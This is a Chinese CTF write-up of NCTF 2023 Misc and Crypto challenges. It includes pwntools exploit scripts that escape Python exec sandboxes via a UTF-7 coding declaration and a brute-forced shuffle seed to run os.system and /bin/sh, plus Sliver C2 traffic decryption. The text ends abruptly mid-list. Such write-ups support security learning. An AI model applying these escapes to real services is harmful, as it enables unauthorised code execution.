2023NCTF Misc Crypto 部分WP
MISC
Jump For Signin
题目
来签个到吧
我的解答：
哎！游戏题。。直接打开这个文件运行玩游戏，进入游戏后点击空格进行跳跃，会看到天上掉落二维码，截图即可。
在线工具扫码即可https://demo.dynamsoft.com/barcode-reader/?ref=www.hackjie.com
NCTF{VVVVELCOME_TO_NCTF_2023!^!}
Jump For Flag
题目
签到题同款，但也不一定?
我的解答：
还是这个题，看看有什么变化吧！依然运行这个文件
跳一下发现天上是
我们发现都是碎零散方块，应该是想办法把它们拼凑起来
需要使用破解神器，dnspy工具。github上有。
反编译jump for flag\game\JumpForFlag_Data\Managed\Assembly-CSharp.dll
既然是相同的游戏，那么我们把上一题和这一题同时进行反编译，比较看看哪里出现异常
将上一题代码复制到这一题中，重新编译类进行编译后发现报错
我们将private float groundDistance = 0.1f;删掉
将Object改为UnityEngine.Object
即可编译成功
保存后重新打开得到
在线工具识别得到
NCTF{25d8fdeb-0cb6-4ad4-8da1-788a72e701f0}
ezjail
题目
zysgmzb被困到一个奇怪的代码环境中,他似乎执行不了函数,请你帮帮他逃出.
感谢@crazyman友情供题
Hint 1: exec有时可以执行一些奇奇怪怪的东西 可能有些#开头的东西是关键
Hint 2: whitelist的字符集是一种很有用的提示
Hint 3: 另外也请注意exec前面的那一行代码nc 124.220.8.243 9999
我的解答：
连接靶机查看源码
>>> g
input_code = input("Please input code > ")
whitelist = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=#
')
for c in input_code:
if c not in whitelist:
print("hacker!")
exit(0)
bytearray_code = bytearray(input_code.encode())
exec(bytearray_code, {}, {})
>>> 题目很简单，可以看到⽩名单限制了一些字符。
没有什么 () 来执⾏函数
但我们可以使用#coding=来改变相关的编码⽅式以绕过。
https://peps.python.org/pep-0263/
根据给出的字符集我们可以选择UTF-7
https://en.wikipedia.org/wiki/UTF-7#Decoding
不过没有- 但是其实utf7即可。
思路:
根据题目给出的字符集我们可以选择UTF-7,再使⽤ \r 分割，然后utf-7的转换可以通过 b64encode(exp.encode('utf-16- be')).replace(b'=', b'') 来实现
exp：
from pwn import *
from base64 import b64encode
context.log_level="debug"
# s = process(["python3","server.py"])
s = remote("124.220.8.243",9999)
s.sendline("e")
s.recvuntil(" > ")
ls_exp = "__import__('os').system('ls')"
#cat_flag_exp = "__import__('os').system('cat f*')"
s.sendline(b'#coding=utf7\r+' + b64encode(ls_exp.encode('utf-16-be')).replace(b'=', b''))
#s.sendline(b'#coding=utf7\r+' + b64encode(cat_flag_exp.encode('utf-16-be')).replace(b'=', b''))
s.interactive()flag{390FEB17FDECBF7C98424D58D226D0199B7FAF574FE740C140EEED87F4D18F1D}
randommaker
题目
nc 124.220.8.243 1337
import string
import sys
import time
import random
import copy as cp
timestamp = int(time.time() * 1000)
random.seed(timestamp)
class helloOutput:
def __init__(self, original_stdout):
self.original_stdout = original_stdout
def write(self, text):
self.original_stdout.write("ni hao")
def flush(self):
self.original_stdout.write("ni hao")
def check(input):
if any(i not in string.printable for i in input):
print("only ascii!!!")
exit()
def makerandom(text):
text = list(text)
random.shuffle(text)
return text
def check2(ori, new):
time1 = time.time()
diff = 0
for i in range(len(ori)):
if (ori[i] != new[i]):
diff += 1
for _ in range(10000): # Just for a most strict randommaker checker :p
if (new[i] not in ori):
print("error in randommaker!!!")
exit()
timeuse = time.time() - time1
print(
f"After {timeuse} of inspection, there were no issues with the randommaker")
original_stdout = sys.stdout
original_stderr = sys.stderr
while True:
yourinput = input(">>> ")
orinput = cp.deepcopy(yourinput)
check(yourinput)
yourinput = "".join(makerandom(yourinput))
hello_output = helloOutput(original_stdout)
check2(orinput, yourinput)
sys.stdout = hello_output
sys.stderr = hello_output
exec(yourinput)
sys.stdout = original_stdout
sys.stderr = original_stderr我的解答：
我们可以使用测信道，通过多次输⼊来⼀直调⽤check2然后对⽐之后就可以知道每次对⽐与原来不⼀样的字符个数，然后依照这个来爆破出server所使⽤的种⼦， 从⽽能够使得打乱后变成⾃⼰想要的模样。
exp：(来自二刺螈佬的脚本)
from pwn import *
from random import Random
import time
context.log_level = 'debug'
timestamp = int(time.time()*1000)
random_map = {i: Random(i) for i in range(timestamp-2000, timestamp+2000)}
p = connect('124.220.8.243', 1337)
for i in range(100):
p.sendlineafter(b'>>>', b'12')
result = b'-' in p.recvuntil(b'of')
banlist = []
for k, v in random_map.items():
tmp = list('12')
v.shuffle(tmp)
if result and tmp == ['1', '2']:
continue
elif not result and tmp == ['2', '1']:
continue
else:
banlist.append(k)
for k in banlist:
random_map.pop(k)
if len(random_map) <= 1:
print(random_map)
print(i)
break
random, *_ = random_map.values()
payload = '__import__("os").system("/bin/sh")'
l = [i for i in range(len(payload))]
random.shuffle(l)
payload1 = ['?' for _ in range(len(payload))]
for i in range(len(l)):
payload1[l[i]] = payload[i]
true_payload = ''.join(payload1).encode()
p.sendline(true_payload)
p.interactive()NCTF{f2f173f0-e82c-4bd3-b5bf-c4b266a990d7}
NCTF2077: jackpot
题目
公元2077年，我所参加的NCTF被评为最佳比赛，有人认为它题目新颖，也有人说它难度恰当。我叫zysgmzb，最近偶然抽中了线下观赛券，这下不得不去了:)
我的解答：
一眼丁真，邮件解密
得到一个png和一个exe,然后下载下来
010查看exe，搜索flag得到后半段
前半段肯定在图片里面，发现blue的0123四个通道异常
我们联想到Invoke-PSImage项目，脚本如下：
from PIL import Image
def solove_png(image_path):
img = Image.open(image_path)
width, height = img.size
extract_data = bytearray()
for y in range(height):
for x in range(width):
pixels = img.getpixel((x, y))
extract_byte = (pixels[1] & 0x0F) | ((pixels[2] & 0x0F) << 4)
extract_data.append(extract_byte)
return extract_data
image_path = "nctf.png"
data = solove_png(image_path)
with open('1.bin', 'wb') as f:
f.write(data)得到
一眼解混淆，最后一步有一个powershell SecureString加密
.( ([STRINg]$VeRbOSEPrefEReNcE)[1,3]+'X'-jOIN'') ( ([rUNtiME.INTERoPsERvIceS.MaRshal]::PTRtOstrinGBsTr([runtIme.INTeRopSeRviCES.mARShAl]::seCUResTrInGTObsTR( $('
…………
' | conVeRtto-SEcurEsTrIng -key (143..112)) ) ) ) )# 指定加密字符串文件的路径
$encryptedStringPath = ""
# 读取加密字符串
$encryptedString = Get-Content -Path $encryptedStringPath
# 定义用于解密的密钥
$key = 143..112
# 将加密的字符串转换为安全字符串
$secureString = ConvertTo-SecureString -String $encryptedString -Key $key
# 转换安全字符串为普通文本
$ptr = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString)
$decryptedString = [Runtime.InteropServices.Marshal]::PtrToStringBSTR($ptr)
[Runtime.InteropServices.Marshal]::ZeroFreeBSTR($ptr)
# 输出解密后的字符串
Write-Host "Decrypted String: $decryptedString"得到
NCTF{5945cf0b-fdd6-4b7b拼接得到：
NCTF{5945cf0b-fdd6-4b7b-873e-12a9595bbce8}NCTF2077: slivery
题目
几天以后，zysgmzb瘫坐在电脑面前，准会想起他点开邮件里面神秘小链接的那个遥远的下午。
我的解答：
根据题⽬背景以及题⽬名就⼤概可以猜到这⾥指的是sliverc2的流量解析，可以直接参考这篇⽂章
https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/
⽂章⾥⾯提供了相关脚本，所以这题可以秒
⼯具:https://github.com/Immersive-Labs-Sec/SliverC2-Forensics
对于所提供的内存的解析则可以使⽤MemProcFS，直接挂载就⾏
MemProcFS -forensic 1 -device 内存⽂件路径"M:\name\slivery.exe-8800\minidump\minidump.dmp"则是恶意进程slivery.exe的内存镜像，即可以从⾥⾯找到sessionkey
然后就可以解密流量了
先获取流量包中所有的payload
python3 sliver_pcap_parser.py --pcap dump.pcapng --filter http --domain_name
192.168.207.128然后直接从slivery.exe的内存镜像⾥提取sessionkey并解密payload
python3 sliver_decrypt.py --transport http --file_path ./http-sessions.json --
force minidump.dmp这样就可以拿到所有的明⽂，就可以开始⼀条条翻看
[+] Processing: http://192.168.207.128:80/jquery.min.js?q=64855969
[-] Decoding: words
[-] Session Key:
28c917760c81fc4747f9c68b23405ad39525291d16ff59170ddc5484a5134077
[-] Message Type: 9
[=] Message Data
b'\n\x08flag.zip\x12\x04gzip\x1a\xfd\x01\x1f\x8b\x08\x00\x00\x00\x00\x00\x04\xf
ft\x8e?
K\x85`\x1c\x85\xcfO+\xed\x0f\r\x91\xe1V\x10$4\xd4"\xd5$T\x18\xd1\x0b\xf1.&\x0e\
x11\x12\xd9P\xa3DMAE\xd0\x104\x84855\x05E\x94\x1f\xa0R\x9a\x1a\x12\x92\x96\x08"\x82\x86\x06\x83\x8
6\x0b\x97\x8b\xf7^\\\xeeY\x1e8\xc39\x0fgb[?:\xb1\x8a\xbe\xcbS\xdb\xb9g3\xf3\x00
F\x01\xc8\xe8\x86\xb7\xe9\xae\x8f\xf9\xdb>\x9dI
L\x9b\xa2\x8c\xdc\xd5n6Bk`\xf8\xe9\xe2h\xc4y\x9b4\xbd\x89\x9e\x858\xf9\xbe^\xf4
\xc3\xab
]V\xb7\x94_e%\xda=\xd9\xfb\xdf\xf92^\x03\xeb\xbd\xf78;O\xec\xfce\xb6r;w\xf7\x17
/\x19\x8f\xda\x8f1\xc5\x99$\x97\xef8#a\x10\xadT\xc6Qd\xa8@S\xac\xab\xde\x10T<\x
7f\xa4\xfb\x8a\x9eQ\x83\x9f\x0f\x07\x91\xa0gT\x92\xe7\xac\xbd\xa3\xb6@
\xac\x018\x04\x00T\x03\x00\x00\xff\xff\x8c\xed\x9c\xdc\x04\x01\x00\x00J\x07\x10
\x80\xb0\x9d\xc2\xdf\x01'这⼀条⾥传输了flag.zip，使⽤了gzip压缩，取出来cyberchef解压⼀下即可得到flag.zip
然后最下⾯还可以看到执⾏了⼀条命令
[+] Processing: http://192.168.207.128:80/jquery.min.js?i=g25622249
[-] Decoding: gzip-b64
[-] Session Key:
28c917760c81fc4747f9c68b23405ad39525291d16ff59170ddc5484a5134077
[-] Message Type: 22
[=] Message Data
b'\n\x19echo
P@33w000000rd_U_GOT\n\x18\x01@\xef\xe3\xc2\x93\x8b\x94\xdb\x8c\xeb\x01J$06a76de
5-4afb-44d3-a350-897d85c91960'⽤P@33w000000rd_U_GOT作为密码即可解开压缩包拿到flag
CRYPTO
Sign
题目
# Sage
from Crypto.Util.number import *
from secret import flag
class NTRU:
def __init__(self, N, p, q, d):
self.debug = False
assert q > (6*d+1)*p
assert is_prime(N)
assert gcd(N, q) == 1 and gcd(p, q) == 1
self.N = N
self.p = p
self.q = q
self.d = d
self.R_ = PolynomialRing(ZZ,'x')
self.Rp_ = PolynomialRing(Zmod(p),'xp')
self.Rq_ = PolynomialRing(Zmod(q),'xq')
x = self.R_.gen()
xp = self.Rp_.gen()
xq = self.Rq_.gen()
self.R = self.R_.quotient(x^N - 1, 'y')
self.Rp = self.Rp_.quotient(xp^N - 1, 'yp')
self.Rq = self.Rq_.quotient(xq^N - 1, 'yq')
self.RpOrder = self.p^self.N - self.p
self.RqOrder = self.q^self.N - self.q
self.sk, self.pk = self.keyGen()
def T(self, d1, d2):
assert self.N >= d1+d2
t = [1]*d1 + [-1]*d2 + [0]*(self.N-d1-d2)
shuffle(t)
return self.R(t)
def lift(self, fx):
mod = Integer(fx.base_ring()(-1)) + 1
return self.R([Integer(x)-mod if x > mod//2 else x for x in list(fx)])
def keyGen(self):
fx = self.T(self.d+1, self.d)
gx = self.T(self.d, self.d)
Fp = self.Rp(list(fx)) ^ (-1)
assert pow(self.Rp(list(fx)), self.RpOrder-1) == Fp
assert self.Rp(list(fx)) * Fp == 1
Fq = pow(self.Rq(list(fx)), self.RqOrder - 1)
assert self.Rq(list(fx)) * Fq == 1
hx = Fq * self.Rq(list(gx))
sk = (fx, gx, Fp, Fq, hx)
pk = hx
return sk, pk
def getKey(self):
ssk = (
self.R_(list(self.sk[0])),
self.R_(list(self.sk[1]))
)
spk = self.Rq_(list(self.pk))
return ssk, spk
def pad(self,msg):
pad_length = self.N - len(msg)
msg += [-1 for _ in range(pad_length)]
return msg
def encode(self,msg):
result = []
for i in msg:
result += [int(_) for _ in bin(i)[2:].zfill(8)]
if len(result) < self.N:result = self.pad(result)
result = self.R(result)
return result
def encrypt(self, m):
m = self.encode(m)
assert self.pk != None
hx = self.pk
mx = self.R(m)
mx = self.Rp(list(mx))
mx = self.Rq(list(mx))
rx = self.T(self.d, self.d)
rx = self.Rq(list(rx))
e = self.p * rx * hx + mx
return list(e)
if __name__ == '__main__':
ntru = NTRU(N=509, p=3, q=512, d=3)
assert len(flag) == 42
sk, pk = ntru.getKey()
print("fx = " , sk[0].list())
print("gx = " , sk[1].list())
print("hx = " , pk.list())
e = ntru.encrypt(flag)
print(f'e={e}')fx = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
gx = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
hx = [292, 374, 91, 384, 263, 330, 77, 497, 294, 141, 485, 464, 46, 478, 315, 100, 287, 1, 337, 477, 451, 387, 340, 370, 384, 19, 158, 440, 377, 177, 235, 340, 166, 359, 488, 332, 252, 443, 256, 453, 33, 282, 175, 18, 218, 208, 414, 147, 12, 468, 155, 34, 109, 390, 312, 472, 345, 176, 9, 184, 100, 414, 293, 366, 132, 128, 223, 242, 137, 223, 268, 259, 446, 57, 463, 344, 459, 115, 509, 510, 82, 42, 408, 139, 341, 351, 511, 339, 317, 139, 317, 297, 288, 58, 33, 120, 244, 194, 44, 128, 278, 130, 449, 282, 274, 376, 209, 240, 148, 426, 244, 319, 251, 438, 317, 166, 161, 37, 361, 468, 172, 116, 211, 64, 446, 162, 301, 447, 92, 325, 285, 4, 8, 160, 382, 365, 413, 150, 141, 323, 107, 225, 466, 93, 86, 219, 174, 198, 155, 88, 194, 259, 140, 36, 82, 462, 182, 496, 250, 337, 39, 435, 448, 365, 262, 146, 89, 283, 195, 395, 216, 159, 312, 53, 70, 485, 368, 130, 491, 474, 325, 4, 205, 1, 292, 330, 186, 66, 137, 291, 452, 236, 25, 114, 407, 125, 343, 2, 304, 267, 459, 432, 129, 21, 197, 51, 26, 342, 457, 163, 51, 52, 82, 229, 332, 72, 408, 242, 218, 286, 368, 503, 498, 434, 135, 311, 321, 205, 269, 318, 19, 119, 422, 425, 463, 368, 317, 99, 178, 390, 8, 127, 156, 27, 332, 437, 87, 187, 92, 115, 380, 54, 236, 287, 259, 386, 391, 94, 312, 454, 459, 340, 382, 424, 25, 318, 47, 249, 115, 20, 89, 82, 377, 328, 231, 298, 402, 336, 452, 264, 265, 83, 254, 156, 449, 34, 99, 412, 101, 183, 38, 142, 231, 181, 495, 6, 327, 278, 92, 452, 372, 12, 91, 102, 277, 98, 418, 22, 32, 493, 50, 374, 230, 479, 496, 6, 382, 300, 496, 157, 1, 221, 418, 381, 275, 391, 199, 472, 5, 222, 448, 377, 102, 468, 94, 35, 6, 6, 464, 452, 453, 354, 277, 425, 120, 501, 172, 222, 314, 362, 6, 105, 387, 77, 14, 112, 289, 358, 495, 350, 411, 378, 30, 89, 115, 171, 42, 32, 427, 125, 420, 486, 435, 151, 234, 416, 428, 425, 250, 142, 301, 245, 154, 338, 223, 292, 27, 194, 220, 34, 283, 255, 53, 5, 420, 134, 351, 216, 92, 242, 39, 454, 96, 239, 390, 182, 368, 463, 176, 187, 25, 122, 441, 54, 171, 426, 435, 318, 345, 166, 224, 258, 246, 349, 50, 400, 381, 236, 315, 439, 249, 201, 262, 95, 210, 327, 199, 205, 402, 175, 280, 337, 388, 205, 336, 52, 68, 364, 293, 462, 388, 354, 169, 163, 72, 374, 220, 355, 275, 36, 208, 198, 363, 369, 344, 61, 13, 230, 196, 190, 463, 351, 37, 276, 336, 110, 352, 56, 117, 376, 500, 373, 438, 309, 496, 400, 76, 169, 447, 434, 255, 456, 511, 414, 83, 369, 174, 291, 213, 227, 254, 186, 145, 402, 265, 13, 20, 212, 442]
e=[219, 149, 491, 115, 68, 464, 91, 223, 480, 506, 103, 373, 19, 52, 368, 467, 304, 380, 495, 372, 506, 318, 320, 263, 120, 126, 165, 271, 435, 378, 443, 261, 336, 381, 57, 360, 36, 155, 424, 458, 84, 80, 187, 261, 501, 279, 167, 13, 241, 85, 214, 133, 483, 374, 430, 401, 265, 127, 497, 405, 60, 34, 81, 422, 423, 200, 276, 424, 245, 437, 31, 193, 282, 154, 93, 13, 499, 190, 1, 304, 415, 189, 82, 472, 13, 488, 366, 364, 319, 121, 322, 120, 468, 134, 305, 228, 288, 284, 33, 430, 125, 366, 212, 207, 227, 201, 286, 377, 376, 57, 336, 379, 101, 461, 375, 101, 475, 126, 306, 73, 88, 1, 149, 378, 381, 129, 402, 341, 390, 57, 305, 139, 436, 101, 386, 460, 43, 468, 9, 449, 255, 184, 374, 466, 429, 167, 101, 247, 183, 159, 346, 45, 79, 192, 259, 32, 140, 151, 16, 214, 42, 450, 111, 7, 303, 286, 435, 491, 339, 248, 114, 185, 103, 81, 414, 100, 485, 428, 137, 13, 243, 202, 62, 208, 136, 376, 88, 158, 377, 404, 355, 194, 452, 373, 107, 290, 89, 489, 259, 462, 169, 235, 86, 214, 333, 472, 343, 487, 19, 371, 203, 234, 315, 339, 430, 133, 96, 161, 278, 13, 20, 87, 303, 466, 353, 139, 395, 131, 298, 85, 144, 244, 150, 488, 254, 284, 89, 300, 297, 288, 245, 439, 307, 222, 110, 343, 318, 202, 429, 81, 203, 468, 144, 140, 480, 370, 501, 14, 490, 278, 493, 390, 214, 108, 174, 150, 287, 197, 497, 374, 420, 298, 222, 188, 146, 298, 466, 459, 456, 16, 131, 253, 153, 481, 342, 498, 173, 12, 452, 197, 233, 18, 439, 332, 185, 48, 330, 4, 99, 105, 75, 306, 174, 492, 131, 39, 126, 491, 79, 145, 186, 493, 23, 230, 195, 118, 310, 173, 244, 80, 25, 502, 373, 457, 275, 282, 26, 206, 14, 181, 61, 391, 454, 417, 370, 70, 413, 389, 434, 400, 88, 417, 364, 458, 496, 425, 12, 280, 102, 265, 471, 43, 257, 327, 10, 334, 239, 344, 77, 298, 140, 287, 260, 194, 431, 65, 304, 302, 210, 393, 473, 463, 312, 255, 368, 476, 462, 390, 412, 266, 138, 410, 246, 101, 460, 307, 123, 4, 240, 502, 115, 147, 370, 241, 222, 495, 109, 51, 138, 354, 447, 282, 434, 280, 275, 404, 214, 68, 77, 167, 302, 95, 462, 16, 184, 213, 227, 130, 50, 405, 30, 353, 24, 143, 100, 163, 212, 388, 283, 252, 187, 247, 190, 163, 252, 169, 267, 363, 72, 399, 195, 215, 103, 60, 466, 318, 71, 193, 449, 65, 358, 443, 260, 253, 46, 5, 416, 115, 390, 15, 120, 384, 50, 122, 87, 428, 282, 464, 83, 80, 401, 8, 175, 457, 301, 63, 205, 402, 468, 368, 510, 488, 345, 103, 306, 387, 34, 119, 459, 43, 319, 264, 184, 406, 407, 358, 242, 42, 241, 34, 118, 477, 117, 325, 511, 499, 365, 192, 507]我的解答：
密码签到题NTRU
fx = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
gx = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
hx = [292, 374, 91, 384, 263, 330, 77, 497, 294, 141, 485, 464, 46, 478, 315, 100, 287, 1, 337, 477, 451, 387, 340, 370, 384, 19, 158, 440, 377, 177, 235, 340, 166, 359, 488, 332, 252, 443, 256, 453, 33, 282, 175, 18, 218, 208, 414, 147, 12, 468, 155, 34, 109, 390, 312, 472, 345, 176, 9, 184, 100, 414, 293, 366, 132, 128, 223, 242, 137, 223, 268, 259, 446, 57, 463, 344, 459, 115, 509, 510, 82, 42, 408, 139, 341, 351, 511, 339, 317, 139, 317, 297, 288, 58, 33, 120, 244, 194, 44, 128, 278, 130, 449, 282, 274, 376, 209, 240, 148, 426, 244, 319, 251, 438, 317, 166, 161, 37, 361, 468, 172, 116, 211, 64, 446, 162, 301, 447, 92, 325, 285, 4, 8, 160, 382, 365, 413, 150, 141, 323, 107, 225, 466, 93, 86, 219, 174, 198, 155, 88, 194, 259, 140, 36, 82, 462, 182, 496, 250, 337, 39, 435, 